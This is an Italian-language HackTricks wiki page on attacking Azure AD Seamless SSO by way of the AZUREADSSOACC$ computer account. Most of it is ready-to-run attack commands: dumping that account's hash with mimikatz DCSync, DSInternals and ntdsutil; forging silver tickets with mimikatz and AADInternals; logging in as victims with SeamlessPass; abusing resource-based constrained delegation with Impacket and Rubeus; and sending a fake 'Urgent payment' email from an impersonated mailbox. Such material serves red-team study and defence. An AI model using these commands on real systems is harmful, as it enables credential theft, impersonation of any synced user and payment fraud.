Az - Seamless SSO

Reading time: 10 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Informazioni di base

Dal documento: Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) effettua automaticamente il login degli utenti quando si trovano sui loro dispositivi aziendali connessi alla rete aziendale. Quando è abilitato, gli utenti non devono digitare le loro password per accedere ad Azure AD, e di solito, nemmeno digitare i loro nomi utente. Questa funzionalità offre ai tuoi utenti un facile accesso alle tue applicazioni basate su cloud senza la necessità di componenti aggiuntivi on-premises.

https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works

Fondamentalmente, Azure AD Seamless SSO effettua il login degli utenti quando si trovano su un PC unito a un dominio on-prem.

È supportato sia da PHS (Password Hash Sync) che da PTA (Pass-through Authentication).

Il SSO desktop utilizza Kerberos per l'autenticazione. Quando configurato, Azure AD Connect crea un account computer chiamato AZUREADSSOACC$ in AD on-prem. La password dell'account AZUREADSSOACC$ è inviata in chiaro a Entra ID durante la configurazione.

I ticket Kerberos sono crittografati utilizzando l'NTHash (MD4) della password e Entra ID utilizza la password inviata per decrittografare i ticket.

Entra ID espone un endpoint (https://autologon.microsoftazuread-sso.com) che accetta ticket Kerberos. Il browser della macchina unita al dominio inoltra i ticket a questo endpoint per il SSO.

Enumerazione

bash
# Check if the SSO is enabled in the tenant
Import-Module AADInternals
Invoke-AADIntReconAsOutsider -Domain <domain name> | Format-Table

# Check if the AZUREADSSOACC$ account exists in the domain
Install-WindowsFeature RSAT-AD-PowerShell
Import-Module ActiveDirectory
Get-ADComputer -Filter "SamAccountName -like 'AZUREADSSOACC$'"

# Check it using raw LDAP queries without needing an external module
$searcher = New-Object System.DirectoryServices.DirectorySearcher
$searcher.Filter = "(samAccountName=AZUREADSSOACC`$)"
$searcher.FindOne()

Pivoting: On-prem -> cloud

warning

La cosa principale da sapere su questo attacco è che avere solo il TGT o un TGS specifico di un utente sincronizzato con Entra ID è sufficiente per accedere alle risorse cloud.
Questo perché è un ticket che consente a un utente di accedere al cloud.

Per ottenere quel ticket TGS, l'attaccante deve avere uno dei seguenti:

  • Un TGS di un utente compromesso: Se comprometti la sessione di un utente con il ticket per HTTP/autologon.microsoftazuread-sso.com in memoria, puoi usarlo per accedere alle risorse cloud.
  • Un TGT di un utente compromesso: Anche se non ne hai uno ma l'utente è stato compromesso, puoi ottenerne uno utilizzando il trucco di delega TGT falso implementato in molti strumenti come Kekeo e Rubeus.
  • L'hash o la password di un utente compromesso: SeamlessPass comunicherà con il controller di dominio con queste informazioni per generare il TGT e poi il TGS.
  • Un golden ticket: Se hai la chiave KRBTGT, puoi creare il TGT di cui hai bisogno per l'utente attaccato.
  • L'hash o la password dell'account AZUREADSSOACC$: Con queste informazioni e l'Identificatore di Sicurezza (SID) dell'utente da attaccare è possibile creare un ticket di servizio e autenticarsi con il cloud (come eseguito nel metodo precedente).

SeamlessPass

Come spiegato in questo post del blog, avere uno dei requisiti precedenti rende molto facile utilizzare lo strumento SeamlessPass per accedere alle risorse cloud come utente compromesso, o come qualsiasi utente se hai l'hash o la password dell'account AZUREADSSOACC$.

Infine, con il TGT è possibile utilizzare lo strumento SeamlessPass con:

bash
# Using the TGT to access the cloud
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_encoded_TGT>
# Using the TGS to access the cloud
seamlesspass -tenant corp.com -tgs user_tgs.ccache
# Using the victims account hash or password to access the cloud
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -username user -ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF
seamlesspass -tenant corp.com -domain corp.local -dc 10.0.1.2 -username user -password password
# Using the AZUREADSSOACC$ account hash (ntlm or aes) to access the cloud with a specific user SID and domain SID
seamlesspass -tenant corp.com -adssoacc-ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF -user-sid S-1-5-21-1234567890-1234567890-1234567890-1234
seamlesspass -tenant corp.com -adssoacc-aes DEADBEEFDEADBEEFDEADBEEFDEADBEEF -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -user-rid 1234
wmic useraccount get name,sid # Get the user SIDs

Ulteriori informazioni per configurare Firefox per lavorare con SSO senza soluzione di continuità possono essere trovate in questo post del blog.

Ottenere gli hash dell'account AZUREADSSOACC$

La password dell'utente AZUREADSSOACC$ non cambia mai. Pertanto, un amministratore di dominio potrebbe compromettere l'hash di questo account, e poi usarlo per creare biglietti silver per connettersi ad Azure con qualsiasi utente on-prem sincronizzato:

bash
# Dump hash using mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit

# Dump hash using https://github.com/MichaelGrafnetter/DSInternals
Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local

# Dump using ntdsutil and DSInternals
## Dump NTDS.dit
ntdsutil "ac i ntds" "ifm” "create full C:\temp" q q
## Extract password
Install-Module DSInternals
Import-Module DSInternals
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos

note

Con le informazioni attuali, puoi semplicemente utilizzare lo strumento SeamlessPass come indicato in precedenza per ottenere i token azure e entraid per qualsiasi utente nel dominio. Puoi anche utilizzare le tecniche precedenti (e altre) per ottenere l'hash della password della vittima che desideri impersonare invece dell'account AZUREADSSOACC$.

Creazione di Silver Tickets

Con l'hash puoi ora generare silver tickets:

bash
# Get users and SIDs
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier

# Create a silver ticket to connect to Azure with mimikatz
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt"'
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt" exit

# Create silver ticket with AADInternal to access Exchange Online
$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
$at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
## Send email
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."

Utilizzo dei Silver Ticket con Firefox

Per utilizzare il silver ticket, devono essere eseguiti i seguenti passaggi:

  1. Avviare il Browser: Mozilla Firefox deve essere avviato.
  2. Configurare il Browser:
  • Navigare su about:config.
  • Impostare la preferenza per network.negotiate-auth.trusted-uris al valore specificato:
  • https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com
  • Navigare su Impostazioni di Firefox > Cercare Consenti l'accesso automatico di Windows per gli account Microsoft, di lavoro e scolastici e abilitarlo.
  1. Accedere all'Applicazione Web:
  • Visitare un'applicazione web integrata con il dominio AAD dell'organizzazione. Un esempio comune è login.microsoftonline.com.
  1. Processo di Autenticazione:
  • Nella schermata di accesso, deve essere inserito il nome utente, lasciando vuoto il campo della password.
  • Per procedere, premere TAB o ENTER.

warning

Questo non bypassa MFA se abilitato per l'utente.

On-prem -> Cloud tramite Delegazione Constrainata Basata su Risorse

Per eseguire l'attacco è necessario:

  • WriteDACL / GenericWrite su AZUREADSSOACC$
  • Un account computer che controlli (hash e password) - Potresti crearne uno
  1. Passo 1 – Aggiungi il tuo account computer
  • Crea ATTACKBOX$ e stampa il suo SID/NTLM hash. Qualsiasi utente di dominio può farlo mentre MachineAccountQuota > 0
bash
# Impacket
python3 addcomputer.py CONTOSO/bob:'P@ssw0rd!' -dc-ip 10.0.0.10 \
-computer ATTACKBOX$ -password S3cureP@ss
  1. Passo 2 – Concedi RBCD su AZUREADSSOACC$ - Scrive il SID della tua macchina in msDS-AllowedToActOnBehalfOfOtherIdentity.
bash
python3 rbcd.py CONTOSO/bob:'P@ssw0rd!'@10.0.0.10 \
ATTACKBOX$ AZUREADSSOACC$

# Or, from Windows:
$SID = (Get-ADComputer ATTACKBOX$).SID
Set-ADComputer AZUREADSSOACC$ `
-PrincipalsAllowedToDelegateToAccount $SID
  1. Passo 3 – Forgiare un TGS per qualsiasi utente (ad es. alice)
bash
# Using your machine's password or NTLM hash
python3 getST.py -dc-ip 192.168.1.10 \
-spn HTTP/autologon.microsoftazuread-sso.com \
-impersonate alice \
DOMAIN/ATTACKBOX$ -hashes :9b3c0d06d0b9a6ef9ed0e72fb2b64821

# Produces alice.autologon.ccache

#Or, from Windows:
Rubeus s4u /user:ATTACKBOX$ /rc4:9b3c0d06d0b9a6ef9ed0e72fb2b64821 `
/impersonateuser:alice `
/msdsspn:"HTTP/autologon.microsoftazuread-sso.com" /dc:192.168.1.10 /ptt

Puoi ora utilizzare il TGS per accedere alle risorse di Azure come utente impersonato.

Creazione di ticket Kerberos per utenti solo cloud

Se gli amministratori di Active Directory hanno accesso ad Azure AD Connect, possono impostare SID per qualsiasi utente cloud. In questo modo i ticket Kerberos possono essere creati anche per utenti solo cloud. L'unico requisito è che il SID sia un corretto SID.

caution

La modifica del SID degli utenti admin solo cloud è ora bloccata da Microsoft.
Per informazioni controlla https://aadinternals.com/post/on-prem_admin/

Riferimenti

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks